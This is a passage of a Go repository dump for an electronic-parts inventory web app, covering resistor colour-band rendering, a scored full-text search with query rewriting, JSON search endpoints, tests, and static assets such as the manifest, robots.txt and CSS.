{ 101 | digits[digit_pos] = int(c - '0') 102 | digit_pos++ 103 | } 104 | case c == '.': 105 | if dot_seen { // uh, multiple dots ? 106 | return nil 107 | } 108 | dot_seen = true 109 | case c == 'k' || c == 'K': 110 | exp = exp + 3 111 | case c == 'M': 112 | exp = exp + 6 113 | default: 114 | return nil // invalid character. 115 | } 116 | } 117 | 118 | // See how many relevant digits we have. Zeroes at end don't count 119 | relevant_digits := 0 120 | for relevant_digits = len(digits); relevant_digits > 0 && digits[relevant_digits-1] == 0; relevant_digits-- { 121 | // 122 | } 123 | if relevant_digits < 2 { // Not 100% accurate, but good enough for now 124 | relevant_digits = relevant_digits + post_dot_digits 125 | } 126 | var result []int 127 | var multiplier_digit int 128 | if relevant_digits <= 2 { 129 | multiplier_digit = expToIndex(exp - 2) 130 | result = []int{digits[0], digits[1], multiplier_digit, 131 | toleranceFromString(tolerance /*default 5%:*/, 10)} 132 | } else { 133 | multiplier_digit = expToIndex(exp - 3) 134 | result = []int{digits[0], digits[1], digits[2], multiplier_digit, 135 | toleranceFromString(tolerance /*default 1%:*/, 1)} 136 | } 137 | if multiplier_digit >= 0 { 138 | return result 139 | } else { 140 | return nil 141 | } 142 | } 143 | 144 | var tolerance_regexp, _ = regexp.Compile(`((0?.)?\d+\%)`) 145 | 146 | func serveResistorImage(component *Component, value string, tmpl *TemplateRenderer, out http.ResponseWriter) bool { 147 | defer ElapsedPrint("resistor-image", time.Now()) 148 | 149 | tolerance := "" 150 | if component != nil { 151 | if len(value) == 0 { 152 | value = component.Value 153 | } 154 | if match := tolerance_regexp.FindStringSubmatch(component.Description); match != nil { 155 | tolerance = match[1] 156 | } 157 | } 158 | 159 | digits := extractResistorDigits(value, tolerance) 160 | if digits == nil { 161 | return false 162 | } 163 | 164 | bands := &ResistorTemplate{ 165 | Value: value + "Ω", 166 | } 167 | if len(digits) == 4 { 168 | bands.First = resistorColorConstants[digits[0]] 169 | bands.Second = resistorColorConstants[digits[1]] 170 | bands.Multiplier = resistorColorConstants[digits[2]] 171 | bands.Tolerance = resistorColorConstants[digits[3]] 172 | tmpl.Render(out, "4-Band_Resistor.svg", bands) 173 | } else { 174 | bands.First = resistorColorConstants[digits[0]] 175 | bands.Second = resistorColorConstants[digits[1]] 176 | bands.Third = resistorColorConstants[digits[2]] 177 | bands.Multiplier = resistorColorConstants[digits[3]] 178 | bands.Tolerance = resistorColorConstants[digits[4]] 179 | tmpl.Render(out, "5-Band_Resistor.svg", bands) 180 | } 181 | 182 | return true 183 | } 184 | -------------------------------------------------------------------------------- /stuff/resistor-image_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func ExpectValue(t *testing.T, expected []int, value string, tolerance string) bool { 8 | result := extractResistorDigits(value, tolerance) 9 | if result == nil && expected != nil { 10 | t.Errorf("Unexpected nil for '%s'", value) 11 | return false 12 | } 13 | if len(result) != len(expected) { 14 | t.Errorf("%s: Expected len %d but got %d", value, len(expected), len(result)) 15 | return false 16 | } 17 | for idx := range result { 18 | if expected[idx] != result[idx] { 19 | t.Errorf("%s expected[%d] != result[%d] (%d vs. %d)", 20 | value, idx, idx, expected[idx], result[idx]) 21 | } 22 | } 23 | return true 24 | } 25 | 26 | func TestExtractResistorValue(t *testing.T) { 27 | ExpectValue(t, []int{1, 0, 2, 10}, "1k", "5%") 28 | ExpectValue(t, []int{1, 0, 2, 10}, "1k", "") 29 | 30 | ExpectValue(t, []int{1, 0, 2, 1}, "1k", "1%") 31 | ExpectValue(t, []int{1, 0, 2, 5}, "1k", "0.5%") 32 | ExpectValue(t, []int{1, 0, 2, 5}, "1k", ".5%") 33 | 34 | // Without tolerance, we assume 5% for two digit, 1% for 35 | // three digit values. 36 | ExpectValue(t, []int{1, 0, 2, 10}, "1.0k", "") 37 | ExpectValue(t, []int{1, 0, 0, 1, 1}, "1.00k", "") 38 | 39 | ExpectValue(t, []int{1, 0, 3, 10}, "10k", "") 40 | ExpectValue(t, []int{1, 0, 4, 10}, "100k", "") 41 | ExpectValue(t, []int{1, 0, 4, 10}, "100000", "") 42 | 43 | ExpectValue(t, []int{2, 3, 7, 2, 1}, "23.7k", "") 44 | 45 | ExpectValue(t, []int{1, 5, 10, 10}, "1.5", "") 46 | ExpectValue(t, []int{1, 5, 11, 10}, "0.15", "") 47 | 48 | ExpectValue(t, nil, "10k x", "5%") // garbage in. 49 | 50 | ExpectValue(t, nil, "0.111", "5%") // impossible multiplier 51 | ExpectValue(t, []int{1, 1, 1, 11, 1}, "1.11", "") 52 | } 53 | -------------------------------------------------------------------------------- /stuff/search-handler.go: -------------------------------------------------------------------------------- 1 | // Handling search: show page, deal with JSON requests. 2 | // Also: provide a more clean API. 3 | package main 4 | 5 | import ( 6 | "encoding/json" 7 | "fmt" 8 | "html" 9 | "net/http" 10 | "net/url" 11 | "os" 12 | "strconv" 13 | "strings" 14 | "time" 15 | ) 16 | 17 | const ( 18 | kSearchPage = "/search" 19 | kApiSearchFormatted = "/api/search-formatted" 20 | kApiSearch = "/api/search" 21 | ) 22 | 23 | type SearchHandler struct { 24 | store StuffStore 25 | template *TemplateRenderer 26 | imagehandler *ImageHandler 27 | } 28 | 29 | func AddSearchHandler(store StuffStore, template *TemplateRenderer, imagehandler *ImageHandler) { 30 | handler := &SearchHandler{ 31 | store: store, 32 | template: template, 33 | imagehandler: imagehandler, 34 | } 35 | http.Handle(kSearchPage, handler) 36 | http.Handle("/", handler) 37 | http.Handle(kApiSearchFormatted, handler) 38 | http.Handle(kApiSearch, handler) 39 | } 40 | 41 | func (h *SearchHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) { 42 | switch { 43 | case strings.HasPrefix(req.URL.Path, kApiSearchFormatted): 44 | h.apiSearchPageItem(out, req) 45 | case strings.HasPrefix(req.URL.Path, kApiSearch): 46 | h.apiSearch(out, req) 47 | default: 48 | h.showSearchPage(out, req) 49 | } 50 | } 51 | 52 | func (h *SearchHandler) showSearchPage(out http.ResponseWriter, r *http.Request) { 53 | out.Header().Set("Content-Type", "text/html; charset=utf-8") 54 | // Just static html. Maybe serve from /static ? 55 | content, _ := os.ReadFile(h.template.baseDir + "/search-result.html") 56 | out.Write(content) 57 | } 58 | 59 | type JsonComponent struct { 60 | Component 61 | Image string `json:"img"` 62 | } 63 | type JsonApiSearchResult struct { 64 | Directlink string `json:"link"` 65 | Items []JsonComponent `json:"components"` 66 | } 67 | 68 | func encodeUriComponent(str string) string { 69 | u, err := url.Parse(str) 70 | if err != nil { 71 | return "" 72 | } 73 | return u.String() 74 | } 75 | func (h *SearchHandler) apiSearch(out http.ResponseWriter, r *http.Request) { 76 | // Allow very brief caching, so that editing the query does not 77 | // necessarily has to trigger a new server roundtrip. 78 | out.Header().Set("Cache-Control", "max-age=10") 79 | out.Header().Set("Content-Type", "application/json") 80 | defaultOutLen := 20 81 | maxOutLen := 100 // Limit max output 82 | query := r.FormValue("q") 83 | limit, _ := strconv.Atoi(r.FormValue("count")) 84 | if limit <= 0 { 85 | limit = defaultOutLen 86 | } 87 | if limit > maxOutLen { 88 | limit = maxOutLen 89 | } 90 | var searchResults *SearchResult 91 | if query != "" { 92 | searchResults = h.store.Search(query) 93 | } 94 | outlen := limit 95 | if len(searchResults.Results) < limit { 96 | outlen = len(searchResults.Results) 97 | } 98 | jsonResult := &JsonApiSearchResult{ 99 | Directlink: encodeUriComponent("/search#" + query), 100 | Items: make([]JsonComponent, outlen), 101 | } 102 | 103 | for i := 0; i < outlen; i++ { 104 | var c = searchResults.Results[i] 105 | jsonResult.Items[i].Component = *c 106 | jsonResult.Items[i].Image = fmt.Sprintf("/img/%d", c.Id) 107 | } 108 | 109 | json, _ := json.MarshalIndent(jsonResult, "", " ") 110 | out.Write(json) 111 | } 112 | 113 | // Pre-formatted search for quick div replacements. 114 | type JsonHtmlSearchResultRecord struct { 115 | Id int `json:"id"` 116 | Label string `json:"txt"` 117 | ImgUrl string `json:"img"` 118 | } 119 | 120 | type JsonHtmlSearchResult struct { 121 | Count int `json:"count"` 122 | QueryInfo string `json:"queryinfo"` 123 | ResultInfo string `json:"resultinfo"` 124 | Items []JsonHtmlSearchResultRecord `json:"items"` 125 | } 126 | 127 | func (h *SearchHandler) apiSearchPageItem(out http.ResponseWriter, r *http.Request) { 128 | defer ElapsedPrint("Query", time.Now()) 129 | // Allow very brief caching, so that editing the query does not 130 | // necessarily has to trigger a new server roundtrip. 131 | out.Header().Set("Cache-Control", "max-age=10") 132 | query := r.FormValue("q") 133 | if query == "" { 134 | out.Write([]byte(`{"count":0, "queryinfo":"", "resultinfo":"", "items":[]}`)) 135 | return 136 | } 137 | start := time.Now() 138 | searchResults := h.store.Search(query) 139 | elapsed := time.Since(start) 140 | elapsed = time.Microsecond * ((elapsed + time.Microsecond/2) / time.Microsecond) 141 | 142 | // We only want to output a query info if it actually has been 143 | // rewritten, e.g. 0.1u becomes (100n | 0.1u) 144 | queryInfo := "" 145 | if searchResults.RewrittenQuery != searchResults.OrignialQuery { 146 | queryInfo = searchResults.RewrittenQuery 147 | } 148 | 149 | outlen := 24 // Limit max output 150 | if len(searchResults.Results) < outlen { 151 | outlen = len(searchResults.Results) 152 | } 153 | jsonResult := &JsonHtmlSearchResult{ 154 | Count: len(searchResults.Results), 155 | ResultInfo: fmt.Sprintf("%d results (%s)", len(searchResults.Results), elapsed), 156 | QueryInfo: queryInfo, 157 | Items: make([]JsonHtmlSearchResultRecord, outlen), 158 | } 159 | 160 | pusher, _ := out.(http.Pusher) // HTTP/2 pushing if available. 161 | 162 | for i := 0; i < outlen; i++ { 163 | var c = searchResults.Results[i] 164 | jsonResult.Items[i].Id = c.Id 165 | if h.imagehandler.hasComponentImage(c) { 166 | imgUrl := fmt.Sprintf("/img/%d", c.Id) 167 | jsonResult.Items[i].ImgUrl = imgUrl 168 | if pusher != nil { 169 | // TODO(hzeller): we should be more smart and 170 | // only push stuff that is not likely cached 171 | // already on the client. So we need a HTTP 172 | // session and keep some timely rotating 173 | // bloom filter or something. 174 | // For now: push all the things. 175 | // Ignore error, this is best effort. 176 | _ = pusher.Push(imgUrl, nil) 177 | } 178 | } else { 179 | jsonResult.Items[i].ImgUrl = "/static/fallback.png" 180 | } 181 | jsonResult.Items[i].Label = "" + html.EscapeString(c.Value) + " " + 182 | html.EscapeString(c.Description) + 183 | fmt.Sprintf(" (ID:%d)", c.Id) 184 | } 185 | 186 | json, _ := json.Marshal(jsonResult) 187 | out.Write(json) 188 | } 189 | -------------------------------------------------------------------------------- /stuff/search.go: -------------------------------------------------------------------------------- 1 | // A search that keeps everything in memory and knows about meaning 2 | // of some component fields as well as how to create some nice scoring. 3 | package main 4 | 5 | import ( 6 | "fmt" 7 | "regexp" 8 | "sort" 9 | "strconv" 10 | "strings" 11 | "sync" 12 | ) 13 | 14 | var ( 15 | andRewrite = regexp.MustCompile(`(?i)( and )`) 16 | orRewrite = regexp.MustCompile(`(?i)( or )`) 17 | possibleResistor = regexp.MustCompile(`(?i)([0-9]+(\.[0-9]+)*[kM]?)(\s*Ohm?)`) 18 | possibleSmallMicrofarad = regexp.MustCompile(`(?i)(0?\.[0-9]+)u(\w*)`) 19 | logicalTerm = regexp.MustCompile(`(?i)([\(\)\|])`) 20 | likeTerm = regexp.MustCompile(`(?i)like:([0-9]+)`) 21 | ) 22 | 23 | // componentResolver converts a componentID to a string containing the 24 | // component's terms or blank if the component doesn't exist. 25 | type componentResolver func(componentID int) string 26 | 27 | func isSeparator(c byte) bool { 28 | return c == ' ' || c == '\t' || c == '\n' || c == '.' || c == ',' || c == ';' 29 | } 30 | 31 | func queryRewrite(term string, componentLookup componentResolver) string { 32 | term = andRewrite.ReplaceAllString(term, " ") 33 | 34 | term = orRewrite.ReplaceAllString(term, " | ") 35 | 36 | term = possibleResistor.ReplaceAllString(term, "($0 | ($1 (resistor|potentiometer|r-network)))") 37 | 38 | // Nanofarad values are often given as 0.something microfarad. 39 | // Internally, all capacitors are normalized to nanofarad. 40 | if cmatch := possibleSmallMicrofarad.FindStringSubmatch(term); cmatch != nil { 41 | val, err := strconv.ParseFloat(cmatch[1], 32) 42 | if err == nil { 43 | term = possibleSmallMicrofarad.ReplaceAllString( 44 | term, fmt.Sprintf("($0 | %.0fn$2)", 1000*val)) 45 | } 46 | } 47 | 48 | term = likeTerm.ReplaceAllStringFunc(term, func(match string) string { 49 | split := strings.SplitN(match, ":", 2) 50 | if len(split) != 2 { 51 | return match 52 | } 53 | val, err := strconv.ParseInt(split[1], 10, 32) 54 | if err != nil { 55 | return match 56 | } 57 | 58 | return fmt.Sprintf("(%s)", componentLookup(int(val))) 59 | }) 60 | 61 | return term 62 | } 63 | 64 | func preprocessTerm(term string) string { 65 | // For simplistic parsing, add spaces around special characters (|) 66 | term = logicalTerm.ReplaceAllString(term, " $1 ") 67 | 68 | // * Lowercase: we want to be case insensitive 69 | // * Dash remove: we consider dashes to join words and we want to be 70 | // agnostic to various spellings (might break down with minus signs 71 | // (e.g. -50V), so might need refinement later) 72 | return strings.Replace(strings.ToLower(term), "-", "", -1) 73 | } 74 | 75 | func StringScore(needle string, haystack string) float32 { 76 | pos := strings.Index(haystack, needle) 77 | if pos < 0 { 78 | return 0 79 | } 80 | endword := pos + len(needle) 81 | var boost float32 = 0.0 82 | if pos == 0 || isSeparator(haystack[pos-1]) { 83 | boost = 12.0 // word starts with it 84 | } 85 | if endword == len(haystack) || isSeparator(haystack[endword]) { 86 | boost += 5.0 // word ends with it 87 | } 88 | result := 10 - pos // early in string: higher score 89 | if result < 1 { 90 | return 1 + boost 91 | } else { 92 | return float32(result) + boost 93 | } 94 | } 95 | 96 | func maxlist(values ...float32) (max float32) { 97 | max = 0 98 | for _, v := range values { 99 | if v > max { 100 | max = v 101 | } 102 | } 103 | return 104 | } 105 | 106 | // Score terms, starting at index 'start' and goes to the end of the current 107 | // term (closing parenthesis or end of string). Returns score and 108 | // last index it went up to. 109 | // Treats consecutive terms as 'AND' until it reaches an 'OR' operator. 110 | // Like in real life, precedence AND > OR, and there are parenthesis to eval 111 | // terms differently. 112 | // 113 | // Scoring per component is done on a couple of important fields, but weighted 114 | // according to their importance (e.g. the Value field scores more than Info). 115 | // 116 | // Since we are dealing with real number scores instead of simple boolean 117 | // matches, the AND and OR operators are implemented to return results like 118 | // that. 119 | // - If any of the subscore of an AND expression is zero, the result is zero. 120 | // Otherwise, all sub-scores are added up: this gives a meaningful ordering 121 | // for componets that match all terms in the AND expression. 122 | // the result is zero. 123 | // - For the OR-operation, we take the highest scoring sub-term. Thus if 124 | // multiple sub-terms in the OR expression match, this won't result in 125 | // keyword stuffing (though one could consider adding a much smaller 126 | // constant weight for number of sub-terms that do match). 127 | func (c *SearchComponent) scoreTerms(terms []string, start int) (float32, int) { 128 | var last_or_term float32 = 0.0 129 | var current_score float32 = 0.0 130 | for i := start; i < len(terms); i++ { 131 | part := terms[i] 132 | if part == "(" && i < len(terms)-1 { 133 | sub_score, subterm_end := c.scoreTerms(terms, i+1) 134 | if sub_score <= 0 { 135 | current_score = -1000 // See below for reasoning 136 | } else { 137 | current_score += sub_score 138 | } 139 | i = subterm_end 140 | continue 141 | } 142 | if part == "|" { 143 | last_or_term = maxlist(last_or_term, current_score) 144 | current_score = 0 145 | continue 146 | } 147 | if part == ")" && start != 0 { 148 | return maxlist(last_or_term, current_score), i 149 | } 150 | // Avoid keyword stuffing by looking only at the field 151 | // that scores the most. 152 | // NOTE: more fields here, add to lowerCased below. 153 | score := maxlist(2.0*StringScore(part, c.preprocessed.Category), 154 | 3.0*StringScore(part, c.preprocessed.Value), 155 | 1.5*StringScore(part, c.preprocessed.Description), 156 | 1.2*StringScore(part, c.preprocessed.Notes), 157 | 1.0*StringScore(part, c.preprocessed.Footprint)) 158 | if score == 0 { 159 | // We essentially would do an early out here, but 160 | // since we're in the middle of parsing until we reach 161 | // the next OR, we do the simplistic thing here: 162 | // just make it impossible to have max() 163 | // give a positive result with the last term. 164 | // (todo: if this becomes a problem, implement early out) 165 | current_score = -1000 166 | } else { 167 | current_score += score 168 | } 169 | } 170 | return maxlist(last_or_term, current_score), len(terms) 171 | } 172 | 173 | // Matches the component and returns a score 174 | func (c *SearchComponent) MatchScore(term string) float32 { 175 | score, _ := c.scoreTerms(strings.Fields(term), 0) 176 | return score 177 | } 178 | 179 | // ToQuery converts the component into a normalized search query that can be 180 | // used to find similar components. 181 | func (c *SearchComponent) ToQuery() string { 182 | sb := &strings.Builder{} 183 | 184 | for _, tmp := range []string{ 185 | c.preprocessed.Category, 186 | c.preprocessed.Description, 187 | c.preprocessed.Notes, 188 | c.preprocessed.Value, 189 | c.preprocessed.Footprint, 190 | } { 191 | sb.WriteString(tmp) 192 | sb.WriteString(" ") 193 | } 194 | 195 | return fmt.Sprintf("(%s)", strings.Join(strings.Fields(sb.String()), "|")) 196 | } 197 | 198 | type SearchComponent struct { 199 | orig *Component 200 | preprocessed *Component 201 | } 202 | type FulltextSearch struct { 203 | lock sync.RWMutex 204 | id2Component map[int]*SearchComponent 205 | } 206 | 207 | func NewFulltextSearch() *FulltextSearch { 208 | return &FulltextSearch{ 209 | id2Component: make(map[int]*SearchComponent), 210 | } 211 | } 212 | 213 | type ScoredComponent struct { 214 | score float32 215 | comp *Component 216 | } 217 | type ScoreList []*ScoredComponent 218 | 219 | func (s ScoreList) Len() int { 220 | return len(s) 221 | } 222 | func (s ScoreList) Swap(i, j int) { 223 | s[i], s[j] = s[j], s[i] 224 | } 225 | func (s ScoreList) Less(a, b int) bool { 226 | diff := s[a].score - s[b].score 227 | if diff != 0 { 228 | // We want to reverse score: highest match first 229 | return diff > 0 230 | } 231 | 232 | if s[a].comp.Value != s[b].comp.Value { 233 | // Items that have a value vs. none are scored higher. 234 | if s[a].comp.Value == "" { 235 | return false 236 | } 237 | if s[b].comp.Value == "" { 238 | return true 239 | } 240 | // other than that: alphabetically 241 | return s[a].comp.Value < s[b].comp.Value 242 | } 243 | 244 | if s[a].comp.Description != s[b].comp.Description { 245 | // Items that have a Description vs. none are scored higher. 246 | if s[a].comp.Description == "" { 247 | return false 248 | } 249 | if s[b].comp.Description == "" { 250 | return true 251 | } 252 | } 253 | 254 | // If we reach this, make it at least predictable. 255 | return s[a].comp.Id < s[b].comp.Id // stable 256 | } 257 | 258 | func (s *FulltextSearch) Update(c *Component) { 259 | if c == nil { 260 | return 261 | } 262 | lowerCased := &Component{ 263 | // Only the fields we are interested in. 264 | Category: preprocessTerm(c.Category), 265 | Value: preprocessTerm(c.Value), 266 | Description: preprocessTerm(c.Description), 267 | Notes: preprocessTerm(c.Notes), 268 | Footprint: preprocessTerm(c.Footprint), 269 | } 270 | s.lock.Lock() 271 | s.id2Component[c.Id] = &SearchComponent{ 272 | orig: c, 273 | preprocessed: lowerCased, 274 | } 275 | s.lock.Unlock() 276 | } 277 | func (s *FulltextSearch) Search(search_term string) *SearchResult { 278 | output := &SearchResult{ 279 | OrignialQuery: search_term, 280 | } 281 | 282 | search_term = queryRewrite(search_term, s.componentTerms) 283 | output.RewrittenQuery = search_term 284 | search_term = preprocessTerm(search_term) 285 | s.lock.RLock() 286 | scoredlist := make(ScoreList, 0, 10) 287 | for _, search_comp := range s.id2Component { 288 | scored := &ScoredComponent{ 289 | score: search_comp.MatchScore(search_term), 290 | comp: search_comp.orig, 291 | } 292 | if scored.score > 0 { 293 | scoredlist = append(scoredlist, scored) 294 | } 295 | } 296 | s.lock.RUnlock() 297 | sort.Sort(ScoreList(scoredlist)) 298 | output.Results = make([]*Component, len(scoredlist)) 299 | for idx, scomp := range scoredlist { 300 | output.Results[idx] = scomp.comp 301 | } 302 | return output 303 | } 304 | 305 | func (s *FulltextSearch) componentTerms(componentID int) string { 306 | s.lock.RLock() 307 | defer s.lock.RUnlock() 308 | 309 | component, ok := s.id2Component[componentID] 310 | if !ok { 311 | return "" 312 | } 313 | 314 | return component.ToQuery() 315 | } 316 | 317 | // Validate that componentTerms is a componentResolver. 318 | var _ (componentResolver) = ((*FulltextSearch)(nil)).componentTerms 319 | -------------------------------------------------------------------------------- /stuff/search_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | ) 7 | 8 | func expectMatch(t *testing.T, s *SearchComponent, term string, expected bool) { 9 | if (s.MatchScore(preprocessTerm(term)) <= 0) == expected { 10 | if expected { 11 | t.Errorf("'%s' did not match as expected", term) 12 | } else { 13 | t.Errorf("'%s' unexpectedly matched", term) 14 | } 15 | } 16 | } 17 | 18 | func expectEqual(t *testing.T, a string, b string) { 19 | if a != b { 20 | t.Errorf("'%s' != '%s'", a, b) 21 | } 22 | } 23 | 24 | func TestSearchOperators(t *testing.T) { 25 | s := &SearchComponent{ 26 | preprocessed: &Component{ 27 | Category: "resist", 28 | Value: "foo", 29 | }, 30 | } 31 | expectMatch(t, s, "foo", true) // direct match 32 | expectMatch(t, s, "bar", false) // not a match 33 | 34 | // AND expressions require all terms match 35 | expectMatch(t, s, "foo foo", true) 36 | expectMatch(t, s, "foo bar", false) 37 | expectMatch(t, s, "foo bar", false) 38 | 39 | // Simple OR expression. One term matches 40 | expectMatch(t, s, "foo|bar", true) // OR expression 41 | expectMatch(t, s, "(foo|bar)", true) // same thing 42 | expectMatch(t, s, "(foo|bar", true) // unbalanced paren: ok 43 | expectMatch(t, s, "foo|bar)", true) // unbalanced paren: ok 44 | 45 | expectMatch(t, s, "bar|baz", false) // OR expression, no matches 46 | 47 | // AND of ORs, but not all AND terms matching 48 | expectMatch(t, s, "(foo|bar) (bar|baz)", false) 49 | expectMatch(t, s, "(bar|baz) (foo|baz)", false) 50 | expectMatch(t, s, "(foo|baz) (foo|baz)", true) // both AND terms ok 51 | 52 | // OR together with AND 53 | expectMatch(t, s, "foo (foo|bar)", true) 54 | expectMatch(t, s, "(foo|bar) foo", true) 55 | expectMatch(t, s, "baz (foo|bar)", false) // AND-ing with non-match 56 | expectMatch(t, s, "(foo|bar) baz", false) 57 | expectMatch(t, s, "((foo|bar) baz)", false) 58 | 59 | // Simulating the Ohm-rewrite 60 | expectMatch(t, s, "(bar | (foo (baz|resist)))", true) 61 | expectMatch(t, s, "(bar | (foo (baz|wrongcategory)))", false) 62 | expectMatch(t, s, "(foo | (bar (baz|resist)))", true) 63 | expectMatch(t, s, "(foo foo | (bar (baz|resist)))", true) 64 | expectMatch(t, s, "(bar | (bar (baz|resist)))", false) 65 | } 66 | 67 | func TestQueryRewrite(t *testing.T) { 68 | cExpand := func(i int) string { 69 | return fmt.Sprintf("", i) 70 | } 71 | 72 | // Identity 73 | expectEqual(t, queryRewrite("foo", cExpand), "foo") 74 | expectEqual(t, queryRewrite("10k", cExpand), "10k") 75 | 76 | // AND, OR rewrite to internal operators 77 | expectEqual(t, queryRewrite("foo AND bar", cExpand), "foo bar") 78 | expectEqual(t, queryRewrite("foo OR bar", cExpand), "foo | bar") 79 | expectEqual(t, queryRewrite("(foo AND bar) OR (bar AND baz)", cExpand), 80 | "(foo bar) | (bar baz)") 81 | 82 | // Only mess with it if it is with spaces. 83 | expectEqual(t, queryRewrite("fooANDbar", cExpand), "fooANDbar") 84 | expectEqual(t, queryRewrite("fooORbar", cExpand), "fooORbar") 85 | 86 | // We store resistors without the 'Ohm' suffix. So if someone adds 87 | // Ohm to the value, expand the query to match the raw number plus 88 | // something that narrows it to resistor. But also still look for the 89 | // original value in case this is something 90 | expectEqual(t, queryRewrite("10k", cExpand), "10k") // no rewrite 91 | expectEqual(t, queryRewrite("3.9k", cExpand), "3.9k") // no rewrite 92 | expectEqual(t, queryRewrite("10kOhm", cExpand), "(10kOhm | (10k (resistor|potentiometer|r-network)))") 93 | expectEqual(t, queryRewrite("10k Ohm", cExpand), "(10k Ohm | (10k (resistor|potentiometer|r-network)))") 94 | expectEqual(t, queryRewrite("3.9kOhm", cExpand), "(3.9kOhm | (3.9k (resistor|potentiometer|r-network)))") 95 | expectEqual(t, queryRewrite("3.kOhm", cExpand), "3.kOhm") // silly number. 96 | 97 | expectEqual(t, queryRewrite("0.1u", cExpand), "(0.1u | 100n)") 98 | expectEqual(t, queryRewrite(".1u", cExpand), "(.1u | 100n)") 99 | expectEqual(t, queryRewrite("0.1uF", cExpand), "(0.1uF | 100nF)") 100 | expectEqual(t, queryRewrite("0.01u", cExpand), "(0.01u | 10n)") 101 | expectEqual(t, queryRewrite("0.068u", cExpand), "(0.068u | 68n)") 102 | 103 | // Similarity search looks up the component details. 104 | expectEqual(t, queryRewrite("like:42", cExpand), "()") 105 | expectEqual(t, queryRewrite("like:foo", cExpand), "like:foo") // silly number. 106 | } 107 | 108 | func TestSearchComponent_ToQuery(t *testing.T) { 109 | 110 | cases := map[string]struct { 111 | component Component 112 | expect string 113 | }{ 114 | "blank component": { 115 | component: Component{}, 116 | expect: "()", 117 | }, 118 | "category filled": { 119 | component: Component{Category: "resistor"}, 120 | expect: "(resistor)", 121 | }, 122 | "description filled": { 123 | component: Component{Description: "description"}, 124 | expect: "(description)", 125 | }, 126 | "notes filled": { 127 | component: Component{Notes: "notes"}, 128 | expect: "(notes)", 129 | }, 130 | "value filled": { 131 | component: Component{Value: "value"}, 132 | expect: "(value)", 133 | }, 134 | "footprint filled": { 135 | component: Component{Footprint: "footprint"}, 136 | expect: "(footprint)", 137 | }, 138 | "full component": { 139 | component: Component{ 140 | Category: "category", 141 | Description: "d1 d2", 142 | Notes: "n1 n2", 143 | Value: "value", 144 | Footprint: "footprint", 145 | }, 146 | expect: "(category|d1|d2|n1|n2|value|footprint)", 147 | }, 148 | "ignored fields": { 149 | component: Component{ 150 | Datasheet_url: "https://example.com", 151 | Drawersize: 3, 152 | Quantity: "300ish", 153 | }, 154 | expect: "()", 155 | }, 156 | } 157 | 158 | for tn, tc := range cases { 159 | t.Run(tn, func(t *testing.T) { 160 | s := &SearchComponent{ 161 | preprocessed: &tc.component, 162 | } 163 | 164 | expectEqual(t, s.ToQuery(), tc.expect) 165 | }) 166 | } 167 | 168 | } 169 | -------------------------------------------------------------------------------- /stuff/sitemap-handler.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | ) 7 | 8 | const ( 9 | kSitemap = "/sitemap.txt" 10 | ) 11 | 12 | type SitemapHandler struct { 13 | store StuffStore 14 | siteprefix string 15 | } 16 | 17 | func AddSitemapHandler(store StuffStore, siteprefix string) { 18 | handler := &SitemapHandler{ 19 | store: store, 20 | siteprefix: siteprefix, 21 | } 22 | http.Handle(kSitemap, handler) 23 | } 24 | 25 | func (h *SitemapHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) { 26 | out.Header().Set("Content-Type", "text/plain; charset=utf-8") 27 | h.store.IterateAll(func(c *Component) bool { 28 | fmt.Fprintf(out, "%s/form?id=%d\n", h.siteprefix, c.Id) 29 | return true 30 | }) 31 | } 32 | -------------------------------------------------------------------------------- /stuff/static/edit-pen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/edit-pen.png -------------------------------------------------------------------------------- /stuff/static/empty-box.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/empty-box.png -------------------------------------------------------------------------------- /stuff/static/fallback.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/fallback.png -------------------------------------------------------------------------------- /stuff/static/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "short_name": "Parts", 3 | "name": "Parts and Stuff", 4 | "icons": [ 5 | { 6 | "src": "/static/stuff-512.png", 7 | "type": "image/png", 8 | "sizes": "512x512" 9 | }, 10 | { 11 | "src": "/static/stuff-192.png", 12 | "type": "image/png", 13 | "sizes": "192x192" 14 | } 15 | ], 16 | "start_url": "/search", 17 | "background_color": "#FFFFFF", 18 | "display": "standalone", 19 | "theme_color": "#FFFFFF" 20 | } 21 | -------------------------------------------------------------------------------- /stuff/static/mystery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/mystery.png -------------------------------------------------------------------------------- /stuff/static/non-edit-pen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/non-edit-pen.png -------------------------------------------------------------------------------- /stuff/static/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /api # Not useful in SERPs 3 | 4 | Sitemap: /sitemap.txt 5 | -------------------------------------------------------------------------------- /stuff/static/stuff-192.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/stuff-192.png -------------------------------------------------------------------------------- /stuff/static/stuff-512.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/stuff-512.png -------------------------------------------------------------------------------- /stuff/static/stuff-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/stuff-icon.png -------------------------------------------------------------------------------- /stuff/static/stuff.css: -------------------------------------------------------------------------------- 1 | body {font-family:sans-serif;} 2 | :link { color: black; } 3 | :visited { color: black; } 4 | 5 | /** Application TABs **/ 6 | .seltab { 7 | background-color:#ccccff; 8 | padding: 2px 30px; 9 | border-radius:8px; 10 | 